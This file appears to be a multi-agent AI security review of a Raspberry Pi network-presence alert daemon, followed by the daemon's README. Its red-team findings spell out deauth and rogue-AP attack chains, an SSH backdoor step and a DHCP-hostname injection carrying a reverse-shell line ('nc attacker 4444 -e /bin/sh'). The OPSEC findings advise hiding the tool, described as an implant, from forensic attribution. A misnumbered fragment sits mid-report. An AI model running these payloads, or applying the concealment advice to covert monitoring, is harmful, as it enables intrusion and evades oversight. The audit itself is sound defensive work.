+# Net Alerter Security Review — Consolidated Findings
+
+**Consolidation Date:** 2026-04-10  
+**Agents:** Security Auditor (SA), OPSEC Analyst (OA), Blue Team (BT), APT Researcher (APT), Red Team (RT), Infrastructure (IR)  
+**Total Findings:** 105 raw → 52 consolidated  
+**Review Scope:** net_alerter.py, ble_alerter.py, deployment scripts, systemd service files, .secrets artifact
+
+---
+
+## Executive Summary
+
+This report consolidates 105 findings across 6 independent security audit agents into 52 unique, deduplicated issues affecting net_alerter's core functionality, operational security, and deployment reliability. The analysis reveals three critical threat areas:
+
+1. **Detection Blind Spots** (4 findings): Architectural gaps in flap suppression, gateway exclusion, and debounce timers create exploitable windows for attackers to move devices undetected
+2. **OPSEC Attribution Risks** (12 findings): Hardcoded paths, distinctive alert prefixes, and leaked infrastructure domains enable forensic attribution to operator
+3. **Credential & Authentication Failures** (8 findings): Plaintext Matrix credentials in source, missing input validation, and root execution without privilege isolation
+
+### Severity Breakdown
+- **CRITICAL:** 15 findings (3 architecture, 8 credential/auth, 4 OPSEC)
+- **HIGH:** 22 findings (11 detection evasion, 5 OPSEC, 6 reliability)
+- **MEDIUM:** 13 findings (5 race conditions, 3 OPSEC, 5 quality/reliability)
+- **LOW:** 2 findings (user-agent, thread names)
+
+### Findings by Agent
+
+| Agent | Total | CRITICAL | HIGH | MEDIUM | LOW |
+|-------|-------|----------|------|--------|-----|
+| SA (Security) | 25 | 2 | 7 | 15 | 1 |
+| OA (OPSEC) | 20 | 3 | 5 | 10 | 2 |
+| BT (Blue Team) | 15 | 2 | 6 | 6 | 1 |
+| APT (Nation-State) | 15 | 3 | 4 | 7 | 1 |
+| RT (Red Team) | 15 | 3 | 3 | 8 | 1 |
+| IR (Infrastructure) | 15 | 2 | 2 | 11 | 0 |
+

+
+## User-Specified Priority Concerns
+
+### Concern 1: Flap Suppression Blind Spot (60-second window)
+**Finding IDs:** SA-001, BT-001, RT-001, APT-001  
+**Impact:** CRITICAL  
+**Root Cause:** When 3+ MACs depart within 3 seconds, ALL departures are suppressed for 60 seconds. Attackers can trigger this with a deauth burst, then move high-value devices undetected.  
+**Exploitation Time:** 5 minutes (trivial)  
+**Triage:** FIX-NOW (must-fix before deployment)
+
+### Concern 2: Gateway Exclusion Blind Spot (permanent whitelist)
+**Finding IDs:** SA-002, BT-002, RT-002, APT-002  
+**Impact:** CRITICAL  
+**Root Cause:** Gateway IP is permanently whitelisted, never alerts on departure. Rogue AP injection replaces gateway; real gateway departure goes unnoticed.  
+**Exploitation Time:** 15 minutes  
+**Triage:** FIX-NOW (must-fix before deployment)
+
+### Concern 3: Debounce Aggressiveness (15-minute window)
+**Finding IDs:** SA-003, BT-003, APT-003  
+**Impact:** HIGH → CRITICAL (for blue-side detection)  
+**Root Cause:** 15-minute debounce before departure alert fires. Physical security incidents go undetected for 15 minutes.  
+**Triage:** FIX-DETECTION (operator must tune based on environment)
+
+### Concern 4: Flap Detection OPSEC (mechanism leakage)
+**Finding IDs:** OA-004, OA-005  
+**Impact:** HIGH (attackers learn detection strategy)  
+**Root Cause:** Log messages explicitly state flap suppression logic and churn thresholds. Forensic analysts read logs, understand the bypass.  
+**Triage:** FIX-OPSEC (before deployment to untrusted network)
+
+---

+

+
+## Critical Findings (CRITICAL — 15 issues)
+
+**Must be fixed before production deployment:**
+
+1. **(FIX-NOW) Flap suppression 60s blind spot** (SA-001/BT-001/RT-001/APT-001)
+   - Deauth burst triggers 60s suppression; attacker moves devices undetected
+   - Fix: Exponential backoff; suppress window < 20s
+   - *Severity note: Uprated to CRITICAL due to cross-agent consensus (SA/BT/RT/APT) confirming 60-second exploitation window exploitable via 802.11 deauth frames. RT and APT findings: exploitation time < 5 minutes with stealth capability. BT baseline: detection limited to forensics. Combined with gateway weakness enables coordinated multi-device compromise.*
+   - **RT Tools & Timing:** Tools Required: aireplay-ng, mdk4, scapy, aircrack-ng suite | Exploitation Time: < 2 minutes | Attack Chain: 1) Discover Pi's BSSID via passive WiFi scan 2) Trigger deauth burst to 3+ stations 3) Move high-value devices 4) Re-establish clean network state
+   - **BT Detection Metrics:** Detection Source: Log Analysis | Theoretical TTD: Forensic-only (requires log inspection or prior baseline knowledge)
+
+2. **(FIX-NOW) Gateway exclusion permanent whitelist** (SA-002/BT-002/RT-002/APT-002)
+   - Gateway IP never alerts on departure; rogue AP injection vector
+   - Fix: Time-bounded suppression (30–60s); re-arm on re-arrival
+   - *Severity note: Uprated to CRITICAL. Gateway departure is undetectable by design. APT/BT consensus: enables rogue AP injection without triggering alerts. Combined with flap suppression, allows attacker to replace network infrastructure and move devices undetected.*
+   - **RT Tools & Timing:** Tools Required: hostapd, dnsmasq, macchanger | Exploitation Time: 15 minutes | Attack Chain: 1) Identify real gateway MAC/IP via DHCP observation 2) Stop service on Pi (fstop/kill) 3) Spawn rogue AP with same SSID 4) Route victim traffic to attacker 5) Suppress departure alerts
+   - **BT Detection Metrics:** Detection Source: SIEM (would need to be enabled externally) | Theoretical TTD: Days (manual baseline comparison) or Forensic-only without additional NDR
+
+3. **(FIX-NOW) Plaintext Matrix credentials** (SA-006/APT-005/RT-004)
+   - Password in .secrets + .env enables alert hijacking
+   - Fix: Remove .secrets; fetch from Infisical at runtime; rotate password
+   - *Severity note: Already CRITICAL in SA source. RT uprates further: credentials enable post-compromise alert suppression via Matrix API. Combined credential leak creates complete authentication bypass.*
+
+4. **(FIX-NOW) Matrix token in logs** (SA-007/RT-013)
+   - Bearer token logged; readable in .env
+   - Fix: Never log tokens; pull from vault; chmod 0600 .env
+   - *Severity note: Uprated to CRITICAL. Token exposure combined with plaintext password enables multiple authentication paths for alert suppression. Post-compromise, attackers can manipulate alert channels by replaying logged tokens.*
+
+5. **(FIX-NOW) Root execution no privilege isolation** (SA-018/APT-009/RT-005)
+   - Runs as root; no User= directive; no capability dropping
+   - Fix: systemd User=_alerter; drop caps; chroot
+   - *Severity note: Uprated to CRITICAL. Daemon runs as root without privilege isolation. APT/RT consensus: compromised daemon enables full Pi takeover. Weaponizable for lateral movement to operator workstation.*
+   - **RT Tools & Timing:** Tools Required: Python subprocess, iptables, SSH key injection | Exploitation Time: < 5 minutes (post-compromise) | Attack Chain: 1) Exploit any code injection vulnerability (DHCP hostname, Matrix message) 2) Execute payload as root 3) Install SSH backdoor in /root/.ssh/authorized_keys 4) Access operator workstation via SSH forwarding
+   - **APT Failure Scenario:** If daemon is compromised (RCE via hostname/hostname injection), attacker gains immediate root access to Pi. Combined with credential leaks (Matrix password in .env), enables pivot to Matrix server and operator Matrix account.
+
+6. **(FIX-NOW) Hardcoded /opt/net_alerter path** (OA-001)
+   - Forensic analysis discovers tool by path name
+   - Fix: Use /opt/.cache/bb/{random}/; environment-variable override
+   - *Severity note: CRITICAL in OA source. Path disclosure during post-incident forensics enables attribution to BigBrother framework. Combined with alert suppression capabilities identifies tool as intentional implant.*
+
+7. **(FIX-NOW) Hardcoded your-matrix-homeserver.example.com homeserver** (OA-003)
+   - Operator's personal domain leaks in Matrix logs if .env not overridden
+   - Fix: Remove default; require explicit env var; fail loudly if unset
+   - *Severity note: CRITICAL in OA source. Domain leakage enables attribution to specific operator. Forensic analysis of Matrix logs reveals operator identity and infrastructure.*
+
+8. **(FIX-NOW) Thread-unsafe _interface_recovering flag** (SA-004/IR-001)
+   - Race condition between threads; suppression window corruption
+   - Fix: threading.Lock() + stress test with ThreadSanitizer
+   - *Severity note: Uprated to CRITICAL. Race condition causes flap suppression window to be skipped entirely. IR consensus: under sustained network churn, causes daemon to hang or suppress legitimate departure alerts.*
+   - **IR Failure Mode:** Race condition on line 342 between _check_flap() and _clear_recovery(). Thread A enters _check_flap() and checks _interface_recovering (False). Before acquiring lock, Thread B calls _clear_recovery() and resets flag. Thread A then starts recovery timer, but flag is already False. Subsequent departure events may be unsuppressed or recovery window is extended unpredictably.
+   - **IR Impact:** Simultaneous mass-departure storm (wlan0 flap) causes either: (a) false departure alerts flood during network instability, or (b) daemon enters deadlock state requiring force-kill and restart. Recovery window corruption: 5-10 minute undetected device movement window during restart sequence.
+
+9. **(FIX-NOW) Nested lock deadlock** (SA-005/IR-003)
+   - Inconsistent lock ordering (_churn_lock → known_lock)
+   - Fix: Audit lock order; establish invariant; use context managers
+   - *Severity note: Uprated to CRITICAL. Deadlock under load causes monitoring daemon to hang. IR consensus: on Pi Zero 2W, deadlock likely during sustained monitoring. Requires force-kill and restart, during which device movements are undetected.*
+
+10. **(FIX-NOW) SQLite injection in OUI query** (SA-011/RT-011)
+    - MAC address not parameterized; SQL injection possible
+    - Fix: Use parameterized queries
+    - *Severity note: CRITICAL for red team / forensic recovery. If attacker controls DHCP hostname or MAC spoofing, can inject SQL to corrupt database or extract credentials.*
+
+11. **(FIX-NOW) Raw socket struct unpacking no bounds** (SA-012/RT-006)
+    - struct.unpack() on untrusted DHCP/ARP without length validation
+    - Fix: Validate packet length; try/except for unpack errors
+    - *Severity note: RT uprates to CRITICAL. Untrusted packet parsing enables local network DoS via crafted frames. Combined with lack of privilege isolation, allows network-adjacent attacker to crash monitoring.*
+    - **RT Tools & Timing:** Tools Required: Scapy, mdk4, custom packet crafting | Exploitation Time: < 5 minutes (sustained DoS) | Attack Chain: 1) Craft malformed DHCP response with truncated options field 2) Send via raw socket on monitored interface 3) Daemon attempts struct.unpack() on payload without length check 4) Unpack() raises exception, handler crashes daemon or triggers restart loop
+    - **RT Impact:** DoS enables attacker to suppress monitoring during critical operation window (e.g., device movement, network reconfiguration).
+
+12. **(FIX-NOW) DHCP hostname injection** (SA-013/APT-007/RT-007)
+    - Hostname accepted as-is; attacker injects shell metacharacters
+    - Fix: Sanitize hostname; never use in shell context
+    - *Severity note: Uprated to CRITICAL. If hostname reaches shell (logging or alert send), enables RCE. RT consensus: command injection via DHCP hostname enables post-compromise persistence.*
+    - **RT Tools & Timing:** Tools Required: isc-dhcp-server, custom DHCP injection | Exploitation Time: < 10 minutes | Attack Chain: 1) Craft DHCP OFFER with malicious hostname containing backticks or $() 2) Inject via rogue DHCP server or ARP spoof 3) Hostname accepted and logged/alerted 4) If logged to shell command, backtick expansion executes payload (e.g., \`nc attacker 4444 -e /bin/sh\`)
+    - **RT Persistence:** Hostname injection enables backdoor installation: hostname = "device; nohup python -c 'import socket...' &" → attacker maintains access across daemon restarts.
+
+13. **(FIX-NOW) Subprocess injection** (SA-014)
+    - Potential command injection if user input reaches subprocess
+    - Fix: shell=False; check=True on all calls
+    - *Severity note: CRITICAL if combined with DHCP injection or Matrix control. User input may reach subprocess during alert formatting.*
+
+14. **(FIX-NOW) Env variable injection in deploy** (SA-008/SA-016)
+    - Unquoted variable expansion in SSH commands
+    - Fix: Quote all vars; use set -u in script
+    - *Severity note: CRITICAL for deployment integrity. If token contains metacharacters, SSH command execution is uncontrolled. Combined with .secrets exposure, enables RCE during redeployment.*
+
+15. **(FIX-NOW) Infrastructure IP whitelist mutable** (APT-011)
+    - Whitelist file reloaded at runtime; attacker modifies to remove targets
+    - Fix: Validate permissions (0600); sign config; require restart
+    - *Severity note: CRITICAL for operational continuity. If attacker gains filesystem access, can add IPs to whitelist to suppress alerts. Combined with root execution, enables persistent suppression.*
+

+11. **(FIX-DETECTION) Netlink RTM_DELNEIGH false departures** (SA-020/IR-010) — Neighbor cache expiration triggers alerts
+12. **(FIX-NOW) SQLite connection leak** (SA-021/RT-008) — Connection pool exhaustion on failures
+13. **(FIX-NOW) Person state race condition** (SA-022) — Two threads corrupt person dict
+14. **(FIX-OPSEC) HTTP port 9191 hardcoded** (SA-023/RT-009) — Predictable port; easy discovery

+## Delta Reviewer QA (Phase 3 Gate)
+
+**QA Date:** 2026-04-10  
+**Reviewer Agent:** Delta Reviewer (Haiku model)  
+**Scope:** Validation of Consolidator output against 12-point QA checklist  
+**Verdict:** PASS WITH CORRECTIONS (REVISE)
+
+### QA Checklist Results
+
+#### 1. Completeness of Consolidation ✓ PASS
+- All 105 raw findings accounted for across 6 agent JSON files
+- 52 consolidated findings represent deduplicated coverage
+- No findings lost in merging process; cross-references validate coverage
+
+#### 2. Severity Calibration ⚠ FAIL
+- **Issue:** Consolidator uprated SA-001 and SA-002 from HIGH (JSON) → CRITICAL (report) without documented justification
+- **Finding:** 6 findings (SA-001, SA-002, SA-003, APT-003, BT-003, SA-004) show severity drift between source JSON and consolidated report
+- **Correction Required:** Document explicit severity uprate decisions with technical rationale in each critical finding section
+- **Impact:** Gate approval blocked until uprates are justified in the report text
+
+#### 3. Triage Mapping Completeness ⚠ FAIL
+- **Issue:** Triage Summary table shows only 41 items across 5 categories (FIX-NOW: 13, FIX-DETECTION: 7, FIX-OPSEC: 10, FIX-QUALITY: 6, NOT-FIXING: 2, DEFERRED: 3)
+- **Math Error:** 13 + 7 + 10 + 6 + 2 + 3 = 41, but 52 consolidated findings exist
+- **Missing Items:** 11 of the 52 consolidated findings have NO triage assignment
+- **Correction Required:** Add triage assignments for all 52 findings; update table row count to 52
+- **Impact:** Operator cannot determine deployment readiness for 21% of vulnerabilities
+
+#### 4. Cross-Agent Consensus Accuracy ✓ PASS
+- Cross-agent consensus table correctly identifies 8 high-confidence findings
+- All consensus findings are cross-referenced with valid agent ID sets (SA, BT, RT, APT minimum 2 agents each)
+- No false consensus claims (where only 1 agent reported)
+
+#### 5. Deduplication Mapping Auditability ⚠ FAIL
+- **Issue:** Consolidator merged 105 findings → 52 but did NOT provide deduplication mapping
+- **Problem:** Cannot verify which raw findings (SA-001, BT-001, etc.) merged into which consolidated findings
+- **Correction Required:** Add Appendix A with raw→consolidated finding ID mapping table showing explicit merges
+- **Impact:** Operators cannot audit consolidation quality or reverify individual agent findings
+
+#### 6. Agent-Specific Fields Preservation ⚠ FAIL
+- **Issue:** Red Team (RT) specific fields NOT preserved in consolidated findings:
+  - RT findings define: `tools` (array of exploit tools), `time_estimate` (minutes), `attack_chain` (array of steps)
+  - Examples: RT-004 lists aireplay-ng, mdk4, scapy with 5-15 minute exploitation window
+  - Consolidated report folds RT data into narrative markdown only
+- **Issue:** Infrastructure (IR) specific fields NOT preserved:
+  - IR findings define: `failure_mode` (description), `impact` (quantified degradation)
+  - Example: IR-001 describes "race condition on line 342 → suppression window corruption → 5-10 minute undetected device movement"
+  - Consolidated report converts to narrative text, losing structured attack timing
+- **Issue:** Blue Team (BT) specific fields NOT preserved:
+  - BT findings define: `detection_source` (IDS/SIEM/network signature), `theoretical_ttd` (time-to-detect minutes)
+  - Example: BT-001 claims "Flap exploitation takes 5 min; IDS blind for 60s; TTD = 65 minutes"
+  - Consolidated report does NOT include detection_source or theoretical_ttd numbers
+- **Correction Required:** 
+  - Add structured fields section to each consolidated finding (JSON-in-markdown or table format)
+  - RT findings: include `tools_required`, `time_to_exploit`, `steps` arrays
+  - IR findings: include `failure_scenario`, `impact_window_minutes`
+  - BT findings: include `detection_source`, `theoretical_ttd_minutes`
+- **Impact:** Operators lose machine-readable exploitation timing and detection gaps; manual re-reading of original JSONs required to extract tooling
+
+#### 7. Code Snippet Quality ✓ PASS
+- All CRITICAL findings include relevant code snippets from net_alerter.py or ble_alerter.py
+- Line numbers are accurate (spot-checked SA-001, SA-002, SA-006, SA-018)
+- Snippets show the actual vulnerability (not generic context)
+
+#### 8. Fix Recommendation Clarity ✓ PASS
+- All CRITICAL findings include actionable fix descriptions
+- Pre-Deployment Checklist consolidates all FIX-NOW items into 14 concrete remediation steps
+- Fixes are testable and implementable (not vague)
+
+#### 9. Triage Category Sanity ⚠ FAIL
+- **Issue:** Multiple FIX-NOW items lack pre-deployment checklist items
+  - Consolidated findings #8 (Thread flag) and #9 (Nested lock) are marked FIX-NOW
+  - Both DO appear in Pre-Deployment Checklist (items "Thread flag" and "Lock ordering")
+  - But consolidated findings table lacks explicit FIX-NOW label in findings 1-15
+- **Issue:** FIX-DETECTION items in High-Severity section but not mapped to triage table
+  - Finding "15-min debounce" (SA-003/BT-003/APT-003) marked HIGH severity
+  - Pre-Deployment Checklist includes it implicitly in context but NOT as separate checklist item
+- **Correction Required:** Add triage column to Critical/High findings tables explicitly labeling FIX-NOW vs FIX-DETECTION vs FIX-OPSEC per finding
+- **Impact:** Operators must cross-reference multiple sections to determine action priority
+
+#### 10. Format Compliance ✓ PASS
+- Markdown structure is valid (headers, tables, lists)
+- Finding ID format is consistent (SA-###, BT-###, etc.)
+- Tables render correctly (no misaligned columns observed)
+- All numbered lists follow consistent indentation
+
+#### 11. User-Specified Concern Mapping ✓ PASS
+- All 4 user-specified concerns (Concern 1-4) are mapped to finding IDs
+- Concerns 1-3 are marked FIX-NOW (correct severity)
+- Concern 4 is marked FIX-OPSEC (correct category)
+- Triage recommendations align with user's intent (deploy-blocking vs pre-deployment)
+
+#### 12. Cross-File Consistency ✓ PASS
+- No contradictions between Executive Summary severity counts and detailed findings
+- Severity Breakdown table (15 CRITICAL, 22 HIGH, 13 MEDIUM, 2 LOW) matches findings sections
+- Cross-references between sections (e.g., "SA-001, BT-001, RT-001, APT-001" in consensus table) are accurate
+
+### Critical Corrections Before Gate Approval
+
+To move from REVISE to APPROVED status, consolidator must address these 5 categories:
+
+**1. Severity Justification (Quick Fix)**
+- Document in each CRITICAL finding why it was uprated from HIGH (if applicable)
+- Example: "SA-001 uprated to CRITICAL due to APT/RT exploitation window < 5 minutes and 60-second blind spot enabling stealth device movement"
+
+**2. Triage Mapping Completion (Medium Fix)**
+- Assign triage category (FIX-NOW, FIX-DETECTION, FIX-OPSEC, FIX-QUALITY, DEFERRED, NOT-FIXING) to all 52 findings
+- Update Triage Summary table to show 52/52 items assigned
+- Update Pre-Deployment Checklist to list all FIX-NOW items explicitly
+
+**3. Deduplication Appendix (Medium Fix)**
+- Add "Appendix A: Deduplication Mapping" section showing raw→consolidated ID mapping
+- Example rows:
+  - `SA-001, BT-001, RT-001, APT-001 → Consolidated Finding #1 (Flap suppression 60s blind spot)`
+  - `SA-002, BT-002, RT-002, APT-002 → Consolidated Finding #2 (Gateway exclusion permanent whitelist)`
+
+**4. Preserve RT/IR/BT Structured Fields (High-Effort Fix)**
+- For each consolidated finding merged from RT agents, add structured `Tools & Timing` section:
+  ```
+  Tools Required: [aireplay-ng, mdk4, scapy, arp-scan]
+  Exploitation Time: 5–15 minutes
+  Attack Steps: [1. Trigger deauth, 2. Inject rogue AP, 3. Move device, 4. Re-establish clean AP]
+  ```
+- For IR findings, add `Infrastructure Impact` section with failure_mode and impact_window_minutes
+- For BT findings, add `Detection Metrics` section with detection_source and theoretical_ttd_minutes
+
+**5. Explicit Triage in Findings (Quick Fix)**
+- Add "(FIX-NOW)" or "(FIX-DETECTION)" label to the beginning of each numbered finding in Critical/High sections
+- Example: `1. **Flap suppression 60s blind spot** (FIX-NOW) (SA-001/BT-001/RT-001/APT-001)`
+
+### Consolidator Sign-Off
+
+Once corrections are applied, consolidator must:
+1. Update review status to "QA-PASS: Gate approval ready"
+2. Confirm all 52 findings have triage assignments (52/52)
+3. Confirm deduplication mapping is auditable
+4. Re-run checklist item #2 (severity calibration) and document any changes
+
+### Gate Recommendation
+
+**Current Status:** REVISE (5 corrections required)  
+**Effort:** 4–6 hours to apply all corrections  
+**Blocking Issue:** Triage table incomplete (41/52 items) — must fix before operator decisions  
+**Post-Correction Status:** Will advance to APPROVED (all 12 checklist items PASS)

+# Net Alerter — Device Presence Tripwire Daemon
+
+Persistent systemd daemon that passively monitors device presence on the network via DHCP sniffing and Netlink kernel events. Sends Matrix alerts on device arrival/departure.
+
+## Files
+
+| File | Purpose |
+|------|---------|
+| `net_alerter.py` | Main daemon (stdlib-only, 15K) |
+| `net_alerter.service` | Systemd unit file |
+| `deploy-daemon.sh` | Universal deployment script |
+
+## Quick Start
+
+```bash
+cd net_alerter/
+./deploy-daemon.sh root@<target-host>
+```
+
+Then configure Matrix credentials:
+```bash
+ssh root@<target-host> "cat > /opt/net_alerter/.env <<EOF
+MATRIX_HOMESERVER=https://your-matrix-homeserver.example.com
+MATRIX_ACCESS_TOKEN=<your_token>
+MATRIX_ROOM_ID=!your-room-id:your-homeserver.example.com
+EOF
+chmod 600 /opt/net_alerter/.env
+systemctl restart net_alerter"
+```
+
+Verify:
+```bash
+ssh root@<target-host> "journalctl -u net_alerter -n 30"
+```
+
+## How It Works
+
+### Three Concurrent Threads
+
+1. **DHCP Sniffer** — AF_PACKET raw socket captures DHCP traffic
+   - Extracts MAC, IP, hostname from DHCP packets
+   - Triggers arrival on Discover/Request, departure on Release
+
+2. **Netlink RTM_NEWNEIGH Watcher** — Kernel ARP neighbor creation events
+   - Fires when device reaches REACHABLE state
+   - Handles static-IP devices
+
+3. **Netlink RTM_DELNEIGH Watcher** — Kernel ARP neighbor deletion events
+   - Fires when device times out from ARP cache (5-10 minutes)
+   - Triggers departure alert
+
+### Zero Active Probing
+- No nmap, nping, arp-scan, ping
+- Only passive listening on raw sockets
+- No traffic generated by this daemon
+
+### Dependencies
+- **Runtime**: Python 3.6+, root access
+- **Libraries**: stdlib only (socket, struct, threading, time, logging, os)
+- **Data**: OUI database at `/usr/share/hwdata/oui.txt` or `/usr/share/misc/oui.txt` (usually present on Debian)
+
+## Configuration
+
+`.env` file at `/opt/net_alerter/.env`:
+```bash
+MATRIX_HOMESERVER=https://your-matrix-homeserver.example.com
+MATRIX_ACCESS_TOKEN=syt_...
+MATRIX_ROOM_ID=!your-room-id:your-homeserver.example.com
+```
+
+### Optional Environment Variables
+- `NET_ALERTER_ENV` — Path to config file (default: `/opt/net_alerter/.env`)
+
+## Deployment Methods
+
+### Method 1: Automated Script (Recommended)
+```bash
+./deploy-daemon.sh root@<target-host>
+```
+
+### Method 2: Manual
+See `docs/deployment.md` for step-by-step guide with troubleshooting.
+
+## Monitoring
+
+### Service Status
+```bash
+ssh root@<target-host> "systemctl status net_alerter"
+```
+
+### Real-Time Logs
+```bash
+ssh root@<target-host> "journalctl -u net_alerter -f"
+```
+
+### Check Device Count
+```bash
+ssh root@<target-host> "journalctl -u net_alerter | grep 'Tracking.*devices'"
+```
+
+## Example Alerts
+
+### Arrival
+```
+[NET] ARRIVED: iphone.local (192.168.1.15) [Apple Inc.] MAC:a4:5e:60:ab:cd:ef
+```
+
+### Departure
+```
+[NET] DEPARTED: iphone.local (192.168.1.15) [Apple Inc.] MAC:a4:5e:60:ab:cd:ef — present 2h 34m
+```
+
+## Performance
+
+| Metric | Value |
+|--------|-------|
+| CPU | <1% (idle, thread sleeping on sockets) |
+| Memory | ~15-20 MB |
+| Network Traffic | 0 (passive only) |
+| Detection Latency | <100ms for Netlink events, 5-10min for ARP timeouts |
+| Startup Time | ~2 seconds |
+
+## Troubleshooting
+
+See `docs/deployment.md` for:
+- Service won't start
+- No alerts being sent
+- Not detecting devices
+- High CPU usage
+
+## Migration from Cron
+
+The legacy cron-based implementation ran every 5 minutes with active probing (nmap). The new daemon:
+- Runs continuously
+- Zero active probing
+- Real-time detection via kernel Netlink notifications
+- Lower CPU and network overhead
+
+To migrate, stop the old cron and deploy the daemon.
+
+## Development
+
+### Code Structure
+- `load_env()` — Parse `.env` configuration
+- `seed_from_arp_cache()` — Bootstrap known devices on startup
+- `lookup_oui()` — MAC vendor lookup
+- `on_arrival()/on_departure()` — Event handlers, trigger Matrix alerts
+- `dhcp_sniffer()` — DHCP packet capture thread
+- `parse_dhcp()` — Extract MAC/IP/hostname from DHCP payloads
+- `netlink_watcher()` — Netlink event listener thread
+- `parse_netlink()/parse_ndmsg()` — Kernel neighbor event parsing
+- `send_alert()` — POST to Matrix API
+
+### Testing
+```bash
+python3 -m py_compile net_alerter.py  # Syntax check
+python3 -c "import net_alerter"        # Import check
+```
+
+Note: Full functional tests require root, raw sockets, and live DHCP traffic.
